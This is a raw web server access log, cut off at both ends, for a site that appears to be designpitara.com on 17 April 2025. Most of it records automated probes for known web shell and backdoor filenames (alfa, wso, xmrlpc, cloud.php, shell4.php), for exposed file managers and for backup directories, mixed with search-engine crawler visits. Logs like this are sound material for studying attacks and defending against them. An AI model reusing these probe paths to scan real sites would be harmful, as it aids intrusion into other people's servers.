"-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:19 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:20 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:21 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:22 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:23 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:24 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:25 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:26 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:27 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:27 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:28 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:29 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:30 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:31 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:33 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:34 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:35 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:36 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:37 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:38 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:39 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:40 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:42 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:43 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:44 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:44 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:45 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:46 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:47 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:47 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:48 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:49 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:50 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:52 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:53 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:54 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:55 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:56 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:57 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:58 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:09:59 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:00 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:01 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:02 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:03 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:04 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:05 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:06 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:08 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:09 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:11 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:12 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:15 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:17 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:19 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:21 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:23 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:24 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:26 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:27 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:28 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:29 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:29 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:30 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:31 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:31 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:32 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:33 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:33 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:34 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:35 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:35 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:36 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:37 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:37 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.85.7 - - [17/Apr/2025:01:10:38 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 66.212.18.223 - - [17/Apr/2025:01:14:39 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 162.0.232.217 - - [17/Apr/2025:01:22:38 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:01:22:43 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:01:23:14 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:01:23:32 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:01:26:02 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:01:26:27 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:01:26:31 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:01:26:36 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:01:26:52 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:01:26:55 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:01:27:00 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:01:27:48 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:01:28:10 -0400] "GET /.well-known/acme-challenge/index_php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:01:28:15 -0400] "GET /.well-known/pki-validation/class_api.php999 HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:01:28:24 -0400] "GET /.well-known/pki-validation/akrcovxu.php HTTP/1.1" 301 795 "-" "get_local:DCV" 66.249.64.174 - - [17/Apr/2025:01:51:11 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.174 - - [17/Apr/2025:01:51:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 162.0.232.217 - - [17/Apr/2025:02:00:45 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:02:01:15 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:02:02:12 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:02:02:41 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 216.244.66.237 - - [17/Apr/2025:02:03:22 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 85.208.96.193 - - [17/Apr/2025:02:07:11 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)" 85.208.96.197 - - [17/Apr/2025:02:07:12 -0400] "GET /website-maintenance HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)" 35.88.183.30 - - [17/Apr/2025:02:16:23 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "CheckMarkNetwork/1.0 (+http://www.checkmarknetwork.com/spider.html)" 35.88.183.30 - - [17/Apr/2025:02:16:24 -0400] "HEAD / HTTP/1.1" 301 0 "-" "CheckMarkNetwork/1.0 (+http://www.checkmarknetwork.com/spider.html)" 4.227.36.67 - - [17/Apr/2025:02:19:24 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 20.171.207.142 - - [17/Apr/2025:02:27:50 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 66.249.64.164 - - [17/Apr/2025:02:30:54 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.165 - - [17/Apr/2025:02:30:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 162.0.232.217 - - [17/Apr/2025:03:24:35 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:03:26:18 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:03:27:46 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:03:28:18 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:03:29:24 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 45.95.243.140 - - [17/Apr/2025:03:54:29 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 38.107.85.153 - - [17/Apr/2025:03:58:15 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15" 38.107.85.153 - - [17/Apr/2025:03:58:17 -0400] "GET / HTTP/1.1" 301 795 "https://www.designpitara.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15" 54.81.43.75 - - [17/Apr/2025:03:58:45 -0400] "GET /robots.txt HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0" 79.110.184.144 - - [17/Apr/2025:03:58:47 -0400] "GET / HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0" 114.119.146.55 - - [17/Apr/2025:04:12:15 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 43.165.70.220 - - [17/Apr/2025:04:17:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.64.172 - - [17/Apr/2025:04:21:02 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.172 - - [17/Apr/2025:04:21:02 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 89.175.12.245 - - [17/Apr/2025:04:32:00 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 65.108.6.34 - - [17/Apr/2025:04:32:16 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)" 65.108.6.34 - - [17/Apr/2025:04:32:16 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)" 65.108.6.34 - - [17/Apr/2025:04:32:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)" 65.108.6.34 - - [17/Apr/2025:04:32:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SEOkicks; +https://www.seokicks.de/robot.html)" 110.166.71.39 - - [17/Apr/2025:04:48:54 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.64.160 - - [17/Apr/2025:05:16:01 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.160 - - [17/Apr/2025:05:16:01 -0400] "GET /privacy HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.7049.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 124.156.179.141 - - [17/Apr/2025:06:05:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 115.231.78.8 - - [17/Apr/2025:06:16:24 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.2623.112 Safari/537.36" 115.231.78.8 - - [17/Apr/2025:06:16:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE" 115.231.78.8 - - [17/Apr/2025:06:16:30 -0400] "GET /img/logo/favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE" 192.161.162.180 - - [17/Apr/2025:06:59:36 -0400] "GET /filemanager/index.php?path=./ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 145.239.10.137 - - [17/Apr/2025:07:07:01 -0400] "GET /phpunit.php HTTP/1.1" 301 795 "http://designpitara.com/phpunit.php" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1" 66.212.18.223 - - [17/Apr/2025:07:14:44 -0400] "GET /filemanager/index.php?path=./ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 45.95.243.155 - - [17/Apr/2025:07:16:47 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 4.227.36.80 - - [17/Apr/2025:07:23:44 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 20.171.207.202 - - [17/Apr/2025:07:28:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 162.0.232.217 - - [17/Apr/2025:07:36:48 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:07:36:57 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:07:37:37 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 2a11:3:500::e002 - - [17/Apr/2025:07:40:54 -0400] "POST /?s=captcha&test=-1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 103.136.147.21 - - [17/Apr/2025:07:41:08 -0400] "POST /?s=captcha&test=-1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" 20.14.154.215 - - [17/Apr/2025:08:17:40 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:08:17:41 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:08:17:41 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:08:17:42 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:08:17:42 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:08:17:42 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:08:17:42 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:08:17:43 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:08:17:43 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [17/Apr/2025:08:17:43 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 162.0.232.217 - - [17/Apr/2025:08:24:51 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:08:24:59 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [17/Apr/2025:08:25:32 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 113.116.195.122 - - [17/Apr/2025:08:26:27 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 113.116.195.122 - - [17/Apr/2025:08:26:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko" 207.211.165.241 - - [17/Apr/2025:08:36:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 176.56.177.138 - - [17/Apr/2025:09:25:22 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 212.34.154.131 - - [17/Apr/2025:09:33:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 5.140.233.250 - - [17/Apr/2025:09:38:27 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 54.236.1.13 - - [17/Apr/2025:09:55:57 -0400] "GET /profile.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 208.100.26.235 - - [17/Apr/2025:10:18:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.1667.0 Safari/537.36" 43.130.16.212 - - [17/Apr/2025:10:19:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 197.144.51.231 - - [17/Apr/2025:10:22:08 -0400] "GET /shell4.php HTTP/1.1" 301 